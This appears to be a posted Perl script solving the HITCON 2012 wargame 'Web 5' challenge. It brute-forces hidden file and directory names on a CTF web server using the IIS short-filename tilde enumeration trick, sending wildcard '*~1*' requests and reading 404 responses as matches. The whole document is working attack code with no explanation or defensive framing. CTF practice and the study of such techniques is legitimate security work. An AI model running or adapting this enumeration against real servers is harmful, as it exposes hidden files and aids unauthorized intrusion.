dm4
7/26/2012 - 6:44 AM

HITCON 2012 Wargame Web 5

HITCON 2012 Wargame Web 5

#!/usr/bin/perl -w                                                                                                                                                                             

use 5.010;
use LWP;
use URI::Escape;
use strict;

my $str = 'abcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]\\{}|;\':",./<>? ';
my @chars = map { uri_escape($_) } split //, $str;
my @stack;
#my $path = 'hkey_local_machine/system/currentcontrolset/';
my $path = ''; 
my $browser = LWP::UserAgent->new;

for (@chars) {
    my $url = 'http://wg2.hack.idv.tw:2012/'.uri_escape($path.$_.'*~1*/.aspx');
    my $response = $browser->get( $url );
    my $r = $response->status_line;
    if ($r =~ /^404/) {
        say;
        push @stack, $_; 
    }   
}

while ($#stack >= 0) {
    my $pre = pop @stack;
    for (@chars) {
        my $url = 'http://wg2.hack.idv.tw:2012/'.uri_escape($path.$pre.$_.'*~1*/.aspx');
        my $response = $browser->get( $url );
        my $r = $response->status_line;
        if ($r =~ /^404/) {
            say $pre.$_;
            push @stack, $pre.$_;
        }   
    }   
}